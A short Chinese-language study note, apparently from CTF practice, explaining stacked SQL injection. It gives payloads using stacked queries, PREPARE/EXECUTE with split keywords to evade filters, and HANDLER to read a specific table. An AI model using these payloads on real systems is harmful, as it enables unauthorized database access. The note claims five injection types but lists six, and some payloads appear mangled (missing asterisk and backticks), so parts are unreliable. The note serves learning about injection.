在SQL语句中;是语句的结束,对于存在堆叠注入的数据库来说,就可以通过在;结束后继续写入查询语句,数据库也会返回相关的查询结果。
    SQL注入常见五种注入类型:

    1. union 联合注入
    2. bool型盲注
    3. 延时注入
    4. 报错注入
    5. 堆叠注入
    6. 宽字节注入

    例如:
    1’;show tables;
    1’;show columns;

    prepare 预处理语句:
    1’;PREPARE st from concat(‘s’,’elect’, ‘from1919810931114514 ‘);EXECUTE st;#
    也可以写成:
    1’;SET @sql=concat(‘sel’,’ect
    from1919810931114514;’);prepare st from @sql;EXECUTE st;#

    handler 方法:
    1’;handler 1919810931114514 open;handler 1919810931114514 read first;handler 1919810931114514 close;#

    open进入 1919810931114514 表,read读取这个表中内容,最后close关闭这个表。